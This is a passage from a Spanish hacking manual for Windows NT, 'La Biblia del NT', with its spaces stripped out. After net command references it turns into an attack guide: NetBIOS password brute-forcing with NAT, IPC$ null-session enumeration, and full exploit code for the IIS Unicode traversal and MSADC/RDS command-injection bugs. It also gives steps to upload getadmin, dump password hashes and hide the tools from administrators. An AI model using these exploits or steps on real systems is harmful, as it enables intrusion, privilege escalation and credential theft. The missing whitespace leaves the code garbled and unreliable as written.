igualaun*,elusuariopuedeiniciarunasesiondesdecualquier
equipo.

Ejemplos

Paramostrarunalistadetodaslascuentasdeusuariodelequipo
local,escriba:
netuser
Paraverinformacionacercadelacuentajuanh,escriba:
netuserjuanh
ParaagregarunacuentadeusuarioparaEnriquePerez,conderechosde
iniciodesesiondesdelas8A.M.a5P.M.delunesaviernes(sin
espaciosenlasespecificacionesdelashoras),unacontrase~a
obligatoriayelnombrecompletodelusuario,escriba:
netuserenriquepenriquep/add/passwordreq:yes
/times:lunesviernes,8am5pm
/fullname:"EnriquePrez"
Elnombredeusuario(enriquep)seescribelasegundavezcomo
contrase~a.
Paraestablecerlahoradeiniciodesesiondejuansp(8A.M.a5P.M.)
usandolanotacionde24horas,escriba:
netuserjuansp/time:LunVie,08:0017:00
Paraestablecerlahoradeiniciodesesiondejuansp(8A.Ma5P.M.)
usandolanotacionde12horas,escriba:
netuserjuansp/time:LunVie,8am5pm
Paraespecificarlashorasdeiniciodesesionde4A.Ma5P.M.los
Lunes,1P.M.a3P.M.losmartesy8A.M.a5P.M.deMiercolesa
Viernesparamariasl,escriba:
netusermariasl/time:Lun,4am5pmMar,1pm3pmMieVie,8:0017:00
Paraestablecer/homedirreqenyesparaenriquepyasignarle
\\SERVIDOR\USUARIOS\\ENRIQUEPcomodirectorioparticular,escriba:
netuserenriquep/homedirreq:yes
/homedir\\SERVIDOR\USUARIOS\ENRIQUEP

Notas

Estecomandopuedeescribirsetambiencomonetusers.
Useelcomandonetuserparacrearycontrolarlascuentasdeusuarios
deundominio.Lainformacionsobredichascuentassealmacenaenla
basededatosdecuentasdeusuario.
CuandoescribaelcomandonetuserenunequipoqueejecuteWindowsNT
Server,loscambiosenlabasededatosdecuentasseproduciran
automaticamente,enelcontroladorprincipaldedominioyluegose
duplicaranenloscontroladoresdereserva.Estoesvalidounicamente
paralosdominiosdeWindowsNTServer.

>NetView:
Muestraunalistadedominios,unalistadeequiposolosrecursos
compartidosenelequipoespecificado.
netview[\\nombre_equipo|/domain[:nombre_dominio]]
netview/network:nw[\\nombre_equipo]

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

35/83

27/11/2014

LaBibliadelNT

Parametros

ninguno
Escribanetviewsinparametrosparamostrarlalistadelosequipos
deldominioactual.
nombre_equipo
Especificaelequipocuyosrecursoscompartidosdeseaver.
/domain[:nombre_dominio]
Especificaeldominiodelquesedeseanverlosequiposdisponibles.
Siseomitenombre_dominio,semostrarantodoslosdominiosdela
red.
/network:nw
MuestratodoslosservidoresdisponiblesdeunaredNetWare.Sise
especificaunnombredeequipo,semostraranlosrecursos
disponiblesendichoequipodelaredNetWare.Medianteestaopcion
tambienpuedenespecificarseotrasredesquesehayanagregadoal
sistema.

Ejemplos

Paraverunalistadelosrecursoscompartidosporelequipo
\\PRODUCTOSM,escriba:
netview\\productos
ParaverlosrecursosdisponiblesenelservidorNetWare\\MARKETING,
escriba:
netview/network:nw\\marketing
ParaverunalistadelosequiposdeldominioogrupodetrabajoVentas,
escriba:
netview/domain:ventas

Notas

Useelcomandonetviewparamostrarunalistadeequipossimilarala
siguiente:

NombredeservidorComentario

\\PRODUCCIONServidordearchivosdeProduccion
\\PRINT1Saladeimpresoras,primerpiso
\\PRINT2Saladeimpresoras,segundopiso

[5.4Nbtstat]

Veamosmasdetenidamenteesteutilcomando.Heaquisusparametros:
a:Listalatabladenombresdelosordenadoresremotosapartirdel
nombredelamaquina.
A:Listalatabladenombresdelosordenadoresremotosapartirdesu
IP.
c:ListalosnombresdecacheremotosincluyendosusIP's.
n:ListalosnombresNetBIOS*locales*.
r:ListalosnombresresueltosviabroadcastyviaWINS.
R:Depurayactualizalatabladenombresdecacheremoto.
S:ListatablasdesesionesapartirdelaIP.
s:ListatablasdesesionesconvirtiendolasIP'sanombresNetBIOS.
NetBIOSnotieneningunerrordedise~o,oporlomenossilohaynoha
salidoalaluz.Sinembargohayunaherramienta(puedehabermas,sin

[5.4VulnerabilidadesdeNetBIOS]

NetBIOStienemuypocoserroresdedise~o,asiqueparapoderhackearuna
maquinaNTporNetBIOS,solotendremosdosopcionesprincipalmente:Extraer
informaciondelamaquinaporIPC$oaveriguarsuscontrase~asatravesdel
NAT.
Sisedisponedeunse~ordiccionario(entiendaseporundiccionariocuyo
tama~orondelos1024k)enelidiomaadecuado,tenemosunobjetivoqueno
estademasiadoconcienciadoporlascontrase~asyconunosrecursos
"protegidos"porcontrase~a,NATpodriaalegrarnoseldia.
Veamosmasafondoestaherramienta.

[5.4.1NAT]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

36/83

27/11/2014

LaBibliadelNT

SonlassiglasdeNetBIOSAuditingTool,oherramientaparaauditorear
NetBIOS.
Comoyahedichoantesesunamuyutilherramienta.Veamoscomousarla.

Argumentos

natoresultadosulistausuariosplistapasswordsdireccion_IP
Conelparametro"o"seespecificaelficheroenelcualseguardaran
losresultadosdelaauditoria.Conelparametro"u"seespecificael
ficheroenelquetendremosunalistadelosusuarioscadaunoseparadospor
unsaltodelinea.Conelparametro"p"especificamoselficheroenelque
guardamoslascontrase~asqueNATiraprobandoconcadausuario,separadas
porunsaltodecarro.YenDireccion_IPmetemoslaIPoDNSdelavictima.
TambienpodemosconseguirhacerunbarridodeIP'sespecificandolaIPde
inicioylaIPfinal,porejemplo123.12.13.1255,quehariaunbarridode
claseC.Sepuedenlograrmascombinacionesenesteapartado,paraello
recomiendoleerelNAT_DOC.txtqueacompa~aaNAT.
VeamosunejemplodelusodeNAT,sacadodeundocumentodeRhino9:

C:\natovacuum.txtuusuarios.txtppass.txt204.73.131.10204.73.131.30

[*]Readingusernamesfromusuarios.txt
[*]Readingpasswordsfrompass.txt
[*]Checkinghost:204.73.131.11
[*]ObtaininglistofremoteNetBIOSnames
[*]Attemptingtoconnectwithname:*
[*]Unabletoconnect
[*]Attemptingtoconnectwithname:*SMBSERVER
[*]CONNECTEDwithname:*SMBSERVER
[*]Attemptingtoconnectwithprotocol:MICROSOFTNETWORKS1.03
[*]ServertimeisMonDec0107:44:341997
[*]TimezoneisUTC6.0
[*]Remoteserverwantsustoencrypt,tellingitnotto
[*]Attemptingtoconnectwithname:*SMBSERVER
[*]CONNECTEDwithname:*SMBSERVER
[*]Attemptingtoestablishsession
[*]Wasnotabletoestablishsessionwithnopassword
[*]AttemptingtoconnectwithUsername:ADMINISTRATOR'Password:`pass'
[*]CONNECTED:Username:DMINISTRATOR'Password:`pass'
[*]Obtainedserverinformation:
Server=[STUDENT1]User=[]Workgroup=[DOMAIN1]Domain=[]
[*]Obtainedlistingofshares:
SharenameTypeComment

ADMIN$Disk:RemoteAdmin
C$Disk:Defaultshare
IPC$IPC:RemoteIPC
NETLOGONDisk:Logonservershare
TestDisk:
[*]Thismachinehasabrowselist:
ServerComment

STUDENT1

[*]Attemptingtoaccessshare:\\*SMBSERVER\
[*]Unabletoaccess
[*]Attemptingtoaccessshare:\\*SMBSERVER\ADMIN$
[*]WARNING:Abletoaccessshare:\\*SMBSERVER\ADMIN$
[*]Checkingwriteaccessin:\\*SMBSERVER\ADMIN$
[*]WARNING:Directoryiswriteable:\\*SMBSERVER\ADMIN$
[*]Attemptingtoexercise..bugon:\\*SMBSERVER\ADMIN$
[*]Attemptingtoaccessshare:\\*SMBSERVER\C$
[*]WARNING:Abletoaccessshare:\\*SMBSERVER\C$
[*]Checkingwriteaccessin:\\*SMBSERVER\C$
[*]WARNING:Directoryiswriteable:\\*SMBSERVER\C$
[*]Attemptingtoexercise..bugon:\\*SMBSERVER\C$
[*]Attemptingtoaccessshare:\\*SMBSERVER\NETLOGON
[*]WARNING:Abletoaccessshare:\\*SMBSERVER\NETLOGON
[*]Checkingwriteaccessin:\\*SMBSERVER\NETLOGON
[*]Attemptingtoexercise..bugon:\\*SMBSERVER\NETLOGON
[*]Attemptingtoaccessshare:\\*SMBSERVER\Test
[*]WARNING:Abletoaccessshare:\\*SMBSERVER\Test
[*]Checkingwriteaccessin:\\*SMBSERVER\Test
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

37/83

27/11/2014

LaBibliadelNT

[*]Attemptingtoexercise..bugon:\\*SMBSERVER\Test
[*]Attemptingtoaccessshare:\\*SMBSERVER\D$
[*]Unabletoaccess
[*]Attemptingtoaccessshare:\\*SMBSERVER\ROOT
[*]Unabletoaccess
[*]Attemptingtoaccessshare:\\*SMBSERVER\WINNT$
[*]Unabletoaccess
UnavezelNATseencuentraauditandounhost,yencuentraalgunacuenta
valida,teinformasobrelosrecursosalosquepuedesaccederyconque
privilegiostienessobreellos.

[5.4.2IPC$]

Muchosdevosotrosestareispensandoencomoalgunosprogramasson
capacesdesabertodoslosusuariosenunamaquinaNTremota,ademasde
poderextraermuchainformacioninteresantequesindudanodeberiaser
accesibleporcualquiera.Larespuestaestaenelrecurso(pseudo)ocultodel
IPC.IPCsonlassiglasdeInterProcessCommunication,yesusadopara
lascomunicacionesentremaquinasNT.Asicuandounamaquinaquieresaber
determinadainformacionsobrelaotra...utilizaesterecursoparaello.
Estoestariamuybiensielrecursonoestuvieraaccesibleparatodoel
mundo,claro.
EsterecursofuncionaenW2KyWNT,delamismaforma,dandolamisma
informacionacualquiera,sinnecesidaddeidentificarse.Estonoestanada
bien.Entrelagraninformacionqueescapazdeproporcionarnosnospodemos
condenombresdeusuariosvalidos,gruposvalidos,caracteristicasdelas
cuentas,recursoscompartidos,nombredeldominio,etc.Paraqueluego
algunosadmistradoresponganelgritoenelcieloporqueatravesdeIISse
puedesaberelnombrededominiodelservidor.
Todoloquenecesitaremosparaexplotaresterecursoesuninterpretede
comandosdeMsDos,ylasclasicasherramientasSid2UseryUser2Sid.El
primerotedaunnombredeusuario/grupoapartirdeunSidyelsegundote
daunSidapartirdeunnombredeusuario.
VamosaponerunejemplodesustracciondeinformacionviaIPC$.Yonunca
hagoestatareamanualmente,prefieroahorrartoxinasyutilizarobienun
scriptquemeautomaticelatarea(comoeluserlist.pldeMnemonix)obien
unescaner.Sinembargoresultaimprescindiblesaberhacerlovialineade
comandos.Miscomentariosvanprecedidosde&&.

C:\>netview\\xx.34.xx.y51
Systemerror5hasoccurred.
Accessisdenied.
&&&Normal.Asitandegolpe,puescomoqueledacorte.Hayqueromperel
&&&hielo...
C:\>netuse\\xx.34.xx.y51\ipc$""/user:""
Thecommandcompletedsuccessfully.
C:\>netview\\xx.34.xx.y51
Sharedresourcesat\\xx.34.xx.y51

NombreSufijoTipoServicio

InetpubDisk
EnterpriseDisk
Admin'shomeDiskConfidential
NETLOGONDiskLogonservershare
BackupDiskBackups!
Thecommandcompletedsuccessfully.
&&&Ahoracomenzamosaconocernos.Apartirdeahiyopodriahacerunataque
&&&defuerzabrutaconelNATparaaveriguarlacontrase~adelosrecursos
&&&compartidos.

AquisoloheusadoIPC$paralistarsusrecursoscompartidos...conlas
herramientasadecuadassepodriasacarmasinformacionsiguiendolosmismos
procedimientos.

[5.5ConclusionsobreNetBIOS]

Comoyadijeanteriormente,NetBIOSsolotieneunpardebugs,quesi
estanparcheados,harandificillaentrada.Deloquenospodremos
aprovecharseradelamalaconcesiondelospermisos,unfallomuytipico.

=
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

38/83

27/11/2014

LaBibliadelNT

[6VulnerabilidadesWEB]

MuchosdelosproductosqueMicrosofthadise~adoparaconvertirNTenun
servidorWebhantenidoytienenmuchosfallosdeseguridad,quelehan
otorgadounanefastafamaenloqueasuseguridadconcierne.Novamosaver
todoslosbugsdeestosproductos,yaquesonmuchisimos.Quizaparauna
proximaversion...demomentoaquiteneislasvulnerabilidadesmasgraves
segunmiopiniondeestasaplicaciones.

[6.1VulnerabilidadesenIIS]

LagranmayoriadeservidoresdeNTcorrenporIIS.IISsonlassiglasde
InternetInformationServer,yesunpackdeaplicacionesquetepermiten
realizarlasfuncionesdeservidorWeb,FTP,etc.
TodavianosepuedecompararconApache...perotampocoesdemasiadomalo
comoservidorWeb,despuesdetodo.Sinembargoeneltemadelaseguridad
lehandadoalgunmazazoqueotrocomoacontinuacionsevera.
HastaeldiadehoyhanaparecidomuchisimosbugsparaIIS,muchosde
ellosdegranenvergaduraquecomprometianporenteralaseguridadenel
servidorafectado.
Aquisolovoyamostrarunospocos,losmas"utiles"einteresantes.Si
alguientieneganasdevertodoslosbugsdeIISquesepaseporlasURL's
quesedanenelapendice.

[6.1.1Escapandodelarboldeweb:Unicode'sbug]

Esteesunbugdescubiertohacerelativamentepoco,ymuypeligroso,ya
queestepermitealatacanteejecutarprogramasenelservidorafectado.
Estebugafectaalasversiones4.0y5.0delIIS.
Elfallosebasaenlatipicafugadelarboldeweb,subiendodirectorios
a~adiendorutascon"../"paraescapardelarboldelawebyentraren
directoriosdesistema,etc.
IISnodejaescalardirectoriosdeesamanera,perosilossustituimos
comocaracteresunicodelacosacambiatotalmente...pudiendoejecutar
cualquierprogramadelquesepamoslaruta,comoelcmd.exe(shellde
comandos),a~adiendousuariosyotorgandolespermisosdeadministrador,y
muchasmascosasquedejoacargodelaimaginaciondellector.
Acontinuacionincluyoelcodigodelexploitqueincubushizoparapoder
explotardichavulnerabilidad.
Comienzaelcodigo
<++>xploits/iisexc.c
/*iisexiisexploit(<nost'sidea)v2
*
*Okay..thefirstpieceofcodewasnotreallyfinished.
*So,iapologizetoeverybody..
*
*byincubus<incubus@securax.org>
*
*grtzto:Bio,nos,zoa,regandvor...(whoelsewouldstayup
*atnighttoexploitthis?)tosecurax(#securax@efnet)also
*tokim,glyc,s0ph,tessa,lamagraandsteven.
*thxtospydir:)
*/

#include<netdb.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
intmain(intargc,char**argv){
charbuffy[666]/*well,whatelse?Idunnohowlongyourcommands
are...*/
charbuf[500]
charrcvbuf[8192]
inti,sock,result
structsockaddr_inname
structhostent*hostinfo
if(argc<2){
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

39/83

27/11/2014

LaBibliadelNT

printf("try%swww.server.com\n",argv[0])
printf("willletyouplaywithcmd.exeofanIIS4/5server.\n")
printf("byincubus<incubus@securax.org>\n\n")
exit(0)
}
printf("\niisexiis4and5exploit\n\n")
printf("actlikeacmd.exekiddie,typequittoquit.\n")
for()
{
printf("\n[entercmd>")
gets(buf)
if(strstr(buf,"quit"))exit(0)
i=0
while(buf[i]!='\0'){
if(buf[i]==32)buf[i]=43
i++
}
hostinfo=gethostbyname(argv[1])
if(!hostinfo){
herror("Oops")exit(1)
}
name.sin_family=AF_INETname.sin_port=htons(80)
name.sin_addr=*(structin_addr*)hostinfo>h_addr
sock=socket(AF_INET,SOCK_STREAM,0)
result=connect(sock,(structsockaddr*)&name,sizeof(structsockaddr_in))
if(result!=0){herror("Oops")exit(1)}
if(sock<0){
herror("Oops")exit(1)}
strcpy(buffy,"GET/scripts/..\%c0%af../winnt/system32/cmd.exe?/c+")
strcat(buffy,buf)
strcat(buffy,"HTTP/1.0\n\n")
send(sock,buffy,sizeof(buffy),0)
recv(sock,rcvbuf,sizeof(rcvbuf),0)
printf("%s",rcvbuf)
close(sock)
}
}
<>
Finalizaelcodigo

[6.1.2IISHACK]

EstefueunodelosbugsmassonadosparaIIS,descubiertoporlagente
deeEye,enjuniode1999.
DichobugseaprovechadequeIISnosemolestaencomprobarloslimites
delsnombresdelasurlparalosarchivosdeextension.htr,.idcy.stm.
AsipuescuandoselehaceunapeticionaIISparaunarchivocuya
extensionsealasyaarribamencionadasdemasde3K,seproduceeltipico
errordeviolaciondeacceso...
AsiqueeEyesepusoatrabajarenunexploitparadichobug,yhasta
unaaplicacionqueayudaausarelexploit...ademasdeunaversiondenc
retocada,etc.
Cabedecirquedurantelasprimerasversionesiishack(elprogramaque
permitiausarelexploitfacilmente)nofuncionabacorrectamente(anti
scriptkiddies),porloquelosevilhax0rsquedabanfrustrados...sin
embargoalcabodeunassemanaspusieronlaversioncorrecta,porloquela
versiondeIISHACKqueosbajeisfuncionaracorrectamente.
Podreisencontrarelexploitenlawebdeeeye,www.eeye.com.

[6.1.3Hackeandoloviauseranonymous]

Esteataqueesbiensencillo,parapoderloefectuarloconexitotansolo
necesitaremosquelavictimapermitaelusuarioanonymousporftp,yque
estepermitaelsubirficherosaundirectoriovirtual,comoporejemplo
wwwroot,paramastardeejecutarlasenelservidorviahttp.
Lounicoquedeberemossubiralacarpetavirtualseraalgunaaplicacion
quedenosdeaccesoadministrador,porejemploGetadminoSechole.Ahora
probaremoslaefectividaddeGetAdmin.
Unavezsubidoslosficherosgetadmin.exeygasys.dllharemoscorrer
getadminenelservidorgetadmin.Paraellovamosasuponerquehemossubido
losficherosenlacarpetavirtualwwwroot.
http://www.victima.com/wwwroot/getadmin.exe?iusr_nombredelhost
Ahoraospreguntareisquecomosabemoselnombredelhost.Puesparaeso
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

40/83

27/11/2014

LaBibliadelNT

obiennosvalemosdelaayudadelftpdelamismavictima,oleescaneamos
conalgunescaneadordevulnerabilidades,dondesenosindicara.
Unavezejecutadogetadminyadisponemosdenuestrapropiacuenta,yos
preguntareisquequehacer.Puesahorapodriassubirelcmd.exeparamoveros
porelsistema,oelnetcat,paraluegoejecutarsamdump...lodemasespuro
tramite.
Recordadquesioptaisporsubircmd.exeyprobarmoverosporelsistema
medianteelnavegador,losespaciosequivalena%20,%2Bequivaleaun"+",
etc.Esimportanteesconderlosficherosutilizadosparaaccederalsistema,
apoderserenundirectoriodesistemaconunnombrequenollamela
atencion,yesconderlosmedianteelcomandoattrib.Estonoloshace
invisiblealadmin,sobretodosihaconfiguradoelexploradordewindows
paravertambienlosficherosocultos.Tambienserecomiendacuandoyano
necesitaraisalgunaherramienta...borrarla,ocamuflarla.

[6.1.4HackeandoloviaIISADMIN]

IIStraeconsigounautilidadquepermiteeladministrarremotamenteel
servicioIISviaweb.Estautilidadespordefectoaccesiblealusuario
anonimo,siendonecesariounacuentaconprivilegiosadministrativospara
modificarlosserviciosdelmismo.
Sinembargo,quenosimpideprobarataquesporfuerzabruta?esmas,hay
aplicacionesquenospermitenautomatizarestatarea,siendounaespeciade
NATparaIIS.
Ademas,tendremosaccesoaladocumentacion,porloquesialguienno
estamuypuestoenelfuncionamientodeIIS,haytieneunporronde
informacion.
Semeolvidaba,eldirectorioesel/iisadmin.
Recomiendoalosadminsborrarestedirectoriosinoloutilizan,yaque
sisehacambiadolacontrase~aqueveniapordefecto(unacontrase~a
bastanterobusta)yelatacanteespersistentesegurolaacabaraadivinando.

[6.1.5EjecuciondecomandoslocalesMSADC]

EstebugpermiteejecutarcomandosdeNTremotamenteenelservidorfruto
denuestrasinquietudes.Excelente.
ElproblemaradicaenqueloscomandosdellenguajeSQLpermiten,sise
leincluyelabarravertical'|',incluircomandosdeshelldeNT.
Veamos...entoncesparaexplotarestavulnerabilidadnecesitariamospoder
accederaunabasededatosremotamente,claro...heaquielRDS...quemira
pordondepermitelaentradadecomandosVBA.PeronosoloRDSesel
responsabledelbug,haymasculpables...comoelMSJetDatabaseEngine,
quepermitetambiencomandosVBA...
Ademaslaspeticionesalasbasesdedatosremotamentesehacenatraves
deODBC,yIIScorreloscomandosODBCcomosystem_local...ohmygod!
Entoncesllegamosalaconclusiondequepodemosmandarlecomandosde
shelldeNTaunabasededatos,yellalosejecutara,conprivilegiosde
sistema.Pero...ysinohubierabasesdedatosenelsistema?...antetodo
tranquilidad,queMicrosoftnoslohacetodomasfacilinstalandopor
defectounabasededatospeque~ita,paraqueeladminvayapracticando.
Todounacierto,sise~or.
Paraexplotarlavulnerabilidadusaremoselexploitderfp,elcualesta
muybiendise~adoytienebastantesopcionesinteresantes,comolabusqueda
debasesdedatosporfuerzabruta,elpodercrearbasesdedatosexplotando
otrobugporsinoencuentraninguna,etc.
Acontinuacionincluyoelcodigoenperl.

Comienzaelcodigo
<++>xploits/rds.pl
#!perl
#
#MSADC/RDS'usage'(akaexploit)script
#
#byrain.forest.puppy
#
#ManythankstoWeld,Mudge,andDildogfroml0phtforhelpingme
#betatestandfinderrors!
useSocketuseGetopt::Std
getopts("e:vd:h:XRVN",\%args)
print"RDSexploitbyrainforestpuppy/ADM/Wiretrip\n"
if(!defined$args{h}&&!defined$args{R}){
printqq~
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

41/83

27/11/2014

LaBibliadelNT

Usage:msadc.plh<host>{d<delay>Xv}
h<host>=hostyouwanttoscan(ipordomain)
d<seconds>=delaybetweencalls,default1second
X=dumpIndexServerpathtable,ifavailable
N=queryVbBusObjforNetBIOSname
V=useVbBusObjinsteadofActiveDataFactory
v=verbose
e=externaldictionaryfileforstep5
OraRwillresumeacommandsession
~exit}
$ip=$args{h}$clen=0$reqlen=0$|=1$target=""
if(defined$args{v}){$verbose=1}else{$verbose=0}
if(defined$args{d}){$delay=$args{d}}else{$delay=1}
if(!defined$args{R}){$ip.="."if($ip=~/[az]$/)
$target=inet_aton($ip)||die("inet_atonproblemshostdoesn'texist?")}
if(!defined$args{R}){$ret=&has_msadc}
if(defined$args{X}&&!defined$args{R}){&hork_idxexit}
if(defined$args{N}){&get_nameexit}
print"PleasetypetheNTcommandlineyouwanttorun(cmd/cassumed):\n"
."cmd/c"
$in=<STDIN>chomp$in
$command="cmd/c".$in
if(defined$args{R}){&loadexit}
print"\nStep1:Tryingrawdrivertobtcustmr.mdb\n"
&try_btcustmr
print"\nStep2:TryingtomakeourownDSN..."
&make_dsn?print"<<success>>\n":print"<<fail>>\n"
print"\nStep3:TryingknownDSNs..."
&known_dsn
print"\nStep4:Tryingknown.mdbs..."
&known_mdb
if(defined$args{e}){
print"\nStep5:TryingdictionaryofDSNnames..."
&dsn_dict}else{"\nNoeStep5skipped.\n\n"}
print"SorryCharley...maybenexttime?\n"
exit
##########################################################
subsendraw{#rippedandmoddedfromwhisker
sleep($delay)#it'saDoSontheserver!Atleastonmine...
my($pstr)=@_
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0)||
die("Socketproblems\n")
if(connect(S,pack"SnA4x8",2,80,$target)){
select(S)$|=1
print$pstrmy@in=<S>
select(STDOUT)close(S)
return@in
}else{die("Can'tconnect...\n")}}
##########################################################
submake_header{#maketheHTTPrequest
my$which,$msadc#yeah,thisisWAYredundant.I'llfixitlater
if(defined$args{V}){
$msadc=<<EOT
POST/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordsetHTTP/1.1
UserAgent:ACTIVEDATA
Host:$ip
ContentLength:$clen
Connection:KeepAlive
ADCClientVersion:01.06
ContentType:multipart/mixedboundary=!ADM!ROX!YOUR!WORLD!numargs=2
!ADM!ROX!YOUR!WORLD!
ContentType:application/xvarg
ContentLength:$reqlen
EOT
}else{
$msadc=<<EOT
POST/msadc/msadcs.dll/AdvancedDataFactory.QueryHTTP/1.1
UserAgent:ACTIVEDATA
Host:$ip
ContentLength:$clen
Connection:KeepAlive
ADCClientVersion:01.06
ContentType:multipart/mixedboundary=!ADM!ROX!YOUR!WORLD!numargs=3
!ADM!ROX!YOUR!WORLD!
ContentType:application/xvarg
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

42/83

27/11/2014

LaBibliadelNT

ContentLength:$reqlen
EOT
}
$msadc=~s/\n/\r\n/g
return$msadc}
##########################################################
submake_req{#maketheRDSrequest
my($switch,$p1,$p2)=@_
my$req=""my$t1,$t2,$query,$dsn
if($switch==1){#thisisthebtcustmr.mdbquery
$query="Select*fromCustomerswhereCity=".make_shell()
$dsn="driver={MicrosoftAccessDriver(*.mdb)}dbq=".
$p1.":\\".$p2."\\help\\iis\\htm\\tutorial\\btcustmr.mdb"}
elsif($switch==2){#thisisgeneralmaketablequery
$query="createtableAZZ(Bint,Cvarchar(10))"
$dsn="$p1"}
elsif($switch==3){#thisisgeneralexploittablequery
$query="select*fromAZZwhereC=".make_shell()
$dsn="$p1"}
elsif($switch==4){#attempttohorkfileinfofromindexserver
$query="selectpathfromscope()"
$dsn="Provider=MSIDXS"}
elsif($switch==5){#badquery
$query="select"
$dsn="$p1"}
$t1=make_unicode($query)
$t2=make_unicode($dsn)
if(defined$args{V}){$req=""}else{$req="\x02\x00\x03\x00"}
$req.="\x08\x00".pack("S1",length($t1))
$req.="\x00\x00".$t1
$req.="\x08\x00".pack("S1",length($t2))
$req.="\x00\x00".$t2
$req.="\r\n!ADM!ROX!YOUR!WORLD!\r\n"
return$req}
##########################################################

submake_shell{#thismakestheshell()statement
return"'|shell(\"$command\")|'"}
##########################################################
submake_unicode{#quicklittlefunctiontoconverttounicode
my($in)=@_my$out
for($c=0$c<length($in)$c++){$out.=substr($in,$c,1)."\x00"}
return$out}
##########################################################
subrdo_success{#checksforRDOreturnsuccess(thisiskludge)
my(@in)=@_my$base=content_start(@in)
if($in[$base]=~/multipart\/mixed/){
return1if($in[$base+10]=~/^\x09\x00/)}
return0}
##########################################################
submake_dsn{#thismakesaDSNforus
my@drives=("c","d","e","f")
print"\nMakingDSN:"
foreach$drive(@drives){
print"$drive:"
my@results=sendraw("GET/scripts/tools/newdsn.exe?driver=Microsoft\%2B".
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.$drive."\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr=HTTP/1.0\n\n")
$results[0]=~m#HTTP\/([09\.]+)([09]+)([^\n]*)#
return0if$2eq"404"#notfound/doesn'texist
if($2eq"200"){
foreach$line(@results){
return1if$line=~/<H2>Datasourcecreationsuccessful<\/H2>/}}
}return0}
##########################################################
subverify_exists{
my($page)=@_
my@results=sendraw("GET$pageHTTP/1.0\n\n")
return$results[0]}
##########################################################
subtry_btcustmr{
my@drives=("c","d","e","f")
my@dirs=("winnt","winnt35","winnt351","win","windows")
foreach$dir(@dirs){
print"$dir>"#funstatussoyoucanseeprogress
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

43/83

27/11/2014

LaBibliadelNT

foreach$drive(@drives){
print"$drive:"#ditto
$reqlen=length(make_req(1,$drive,$dir))28
$reqlenlen=length("$reqlen")
$clen=206+$reqlenlen+$reqlen
my@results=sendraw(make_header().make_req(1,$drive,$dir))
if(rdo_success(@results)){print"Success!\n"save(1,1,$drive,$dir)exit}
else{verbose(odbc_error(@results))funky(@results)}}print"\n"}}
##########################################################
subodbc_error{
my(@in)=@_my$base
my$base=content_start(@in)
if($in[$base]=~/application\/xvarg/){#it*SHOULD*bethis
$in[$base+4]=~s/[^azAZ09\[\]\:\/\\'\(\)]//g
$in[$base+5]=~s/[^azAZ09\[\]\:\/\\'\(\)]//g
$in[$base+6]=~s/[^azAZ09\[\]\:\/\\'\(\)]//g
return$in[$base+4].$in[$base+5].$in[$base+6]}
print"\nNONSTANDARDerror.Pleasesentthisinfotorfp\@wiretrip.net:\n"
print"$in:".$in[$base].$in[$base+1].$in[$base+2].$in[$base+3].
$in[$base+4].$in[$base+5].$in[$base+6]exit}
##########################################################
subverbose{
my($in)=@_
returnif!$verbose
printSTDOUT"\n$in\n"}
##########################################################
subsave{
my($p1,$p2,$p3,$p4)=@_
open(OUT,">rds.save")||print"Problemsavingparameters...\n"
printOUT"$ip\n$p1\n$p2\n$p3\n$p4\n"
closeOUT}
##########################################################
subload{
my@pmy$drvst="driver={MicrosoftAccessDriver(*.mdb)}dbq="
open(IN,"<rds.save")||die("Couldn'topenrds.save\n")
@p=<IN>close(IN)
$ip="$p[0]"$ip=~s/\n//g$ip.="."if($ip=~/[az]$/)
$target=inet_aton($ip)||die("inet_atonproblems")
print"Resumingto$ip..."
$p[3]="$p[3]"$p[3]=~s/\n//g$p[4]="$p[4]"$p[4]=~s/\n//g
if($p[1]==1){
$reqlen=length(make_req(1,"$p[3]","$p[4]"))28
$reqlenlen=length("$reqlen")$clen=206+$reqlenlen+$reqlen
my@results=sendraw(make_header().make_req(1,"$p[3]","$p[4]"))
if(rdo_success(@results)){print"Success!\n"}
else{print"failed\n"verbose(odbc_error(@results))}}
elsif($p[1]==3){
if(run_query("$p[3]")){
print"Success!\n"}else{print"failed\n"}}
elsif($p[1]==4){
if(run_query($drvst."$p[3]")){
print"Success!\n"}else{print"failed\n"}}
exit}
##########################################################
subcreate_table{
return1if(defined$args{V})
my($in)=@_
$reqlen=length(make_req(2,$in,""))28
$reqlenlen=length("$reqlen")
$clen=206+$reqlenlen+$reqlen
my@results=sendraw(make_header().make_req(2,$in,""))
return1ifrdo_success(@results)
my$temp=odbc_error(@results)verbose($temp)
return1if$temp=~/Table'AZZ'alreadyexists/
return0}
##########################################################
subknown_dsn{
#wewant'wicca'first,becauseifstep2madetheDSN,it'sreadytogo
my@dsns=("wicca","AdvWorks","pubs","CertSvr","CFApplications",
"cfexamples","CFForums","CFRealm","cfsnippets","UAM",
"banner","banners","ads","ADCDemo","ADCTest")
foreach$dSn(@dsns){
print"."
nextif(!is_access("DSN=$dSn"))
if(create_table("DSN=$dSn")){
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

44/83

27/11/2014

LaBibliadelNT

print"$dSnsuccessful\n"if(!defined$args{V})
if(run_query("DSN=$dSn")){
print"Success!\n"save(3,3,"DSN=$dSn","")exit}}}print"\n"}
##########################################################
subis_access{
my($in)=@_
return1if(defined$args{V})
$reqlen=length(make_req(5,$in,""))28
$reqlenlen=length("$reqlen")
$clen=206+$reqlenlen+$reqlen
